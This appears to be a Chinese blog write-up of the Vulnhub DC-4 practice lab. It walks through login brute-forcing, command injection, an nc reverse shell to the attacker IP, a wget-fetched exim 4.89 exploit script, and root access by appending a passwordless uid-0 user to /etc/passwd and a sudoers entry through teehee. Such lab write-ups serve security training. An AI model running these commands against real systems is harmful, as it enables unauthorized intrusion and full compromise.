Vulnhub_DC-4靶机渗透测试

生而逢时

已于 2024-08-04 13:05:29 修改

阅读量163

点赞数 1

分类专栏： Vulnhub渗透测试靶场文章标签：网络 linux 网络安全 web安全笔记

于 2023-09-20 12:01:10 首次发布

本文链接：https://blog.csdn.net/m0_66225311/article/details/133072639

版权

Vulnhub渗透测试靶场专栏收录该内容

31 篇文章 2 订阅

订阅专栏

DC-4

DC： 4 ~ VulnHub

文章目录

信息收集

使用nmap扫描出靶机所处192.168.78.153网段再扫描一下细致的内容，发现开放80网站和22 ssh端口。感觉多半要获取用户名和密码来进行ssh连接了

web渗透

访问网站，是一个登录窗，根据标题给出admin提示，感觉用户名就是admin了，查看了一圈没有什么提示，看来多半要爆破密码了

由web 1靶机给出的经验，再使用dirb扫描一下，很好，直接进行爆破

输入参数提交抓包，发送到攻击模块，加载弱密码文件，进行爆破，得出密码为happy

登录之后，发现有几个功能，执行了之后发现都是Linux系统命令，没有能输入命令的地方，灵机一动抓包会不会显示命令执行语句呢

漏洞利用

正如所料，还真能抓包查看到执行命令，那就开始修改命令查看是否可行传入id发现成功返回出现了rce命令执行漏洞

既然能直接执行系统命令，那就直接使用 nc 将当前web用户的shell反弹到虚拟机上，输入nc -e /binbash 192.168.78.145 7777

当然第一反应也想到写入一个木马文件，但尝试发现失败了，在kali里面尝试写入，发现参数没有了。在burp写入连文件都没有创建，可能权限不够吧

漏洞利用获取shell

将反弹的shell转换成交互式shell

 python -c 'import pty; pty.spawn("/bin/bash")'
 /usr/bin/script -qc /bin/bash /dev/null

先来到home文件下，查看有没有什么文件可以查看

查看一下etc/passwd,发现一共有三个用户为1000以上的，看来少不了ssh切换用户了

查看了一圈文件发现jim文件夹内有一个备份的密码

提升权限1

使用find命令查找suid提权find / -user root -perm -4000 -print 2>/dev/null 发现了一个exim4，之前有用过这个提权，查看一下版本为

find / -user root -perm -4000 -print 2>/dev/null

查看版本为4.89，似乎正好可以进行本地提权的漏洞版本之间的

searchsploit exim查找可利用的提权POC 找到目标

将脚本保存到桌面 cp /usr/share/exploitdb/exploits/linux/local/46996.sh 1.sh

查看POC的文件尾格式，发现依旧是windows版本，修改成Linux版本

将脚本文件导入到/var/www/html中，使用wget下载提权脚本到目标机中

启动阿帕奇服务  sudo service apache2 start
cp 1.sh /var/www/html/1.sh
chmod 777 1.sh
wget http://192.168.78.128/1.sh

执行脚本提权查看

查看flag文件

权限提升2

除了使用exim4进行suid提权，还有先前信息收集发现的一个密码字典
尝试爆破jim用户ssh密码，成功切换用户
查看mbox文件内容，发现内容是一封邮件
前去查看mail目录，查看有没有邮件，发现其中给了用户的密码。切换用户登录
使用suid -l 查看当前用户具有的权限发现可以不需要密码就能使用root权限去执行 /usr/bin/teehee

搜索发现和tee命令的sudo提权差不多，将数据可以写入到任意文件中，相当于具有任意文件可写权限。这就难免要想到DC-9靶机可以写入/etc/passwd账号密码，也可以写入/etc/sudoers 另账号具有所有的root权限

7. 先尝试直接添加具有root权限的空密码用户到/etc/passwd中，su - sefs切换用户即可获得root权限

echo "sefs::0:0:::/bin/bash" | sudo /usr/bin/teehee -a /etc/passwd

在这里插入图片描述

接下来尝试写入到/etc/sudoers文件中提权。所以现在就进行将charles用户提升为具有root权限

charles ALL=(ALL:ALL) ALL
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers

sudo -l 发现用户确实有了root权限。直接使用 sudo su来提升为root权限，输入密码即可

获取flag

靶机总结

本次的DC-4靶机感觉难度挺简单，至少是第一次直接从靶机打到了提权部分，没看wp，因为exim4漏洞POC有使用过，直接提权上到root。在进行常规提权的时候查看了一下邮件信息的文件找到了隐藏密码

暴力破解登录网站
shell命令执行直接反弹shell到kali上
find 发现exim4提权POC suid提权
wget 下载虚拟机网站的文件无法上传文件到目标机上
hydra对ssh登录爆破
mbox邮件格式文件 /etc/mail 保存邮件信息
使用 --help查看teehee的用法
可以随意写入文件，可以尝试写入新账户root权限到/etc/passwd 可以将当前账号赋予所有的root权限 /etc/sudoers

echo "sefs::0:0:::/bin/bash" >> /etc/passwd
echo "charles ALL=(ALL:ALL) ALL" >> /etc/sudoers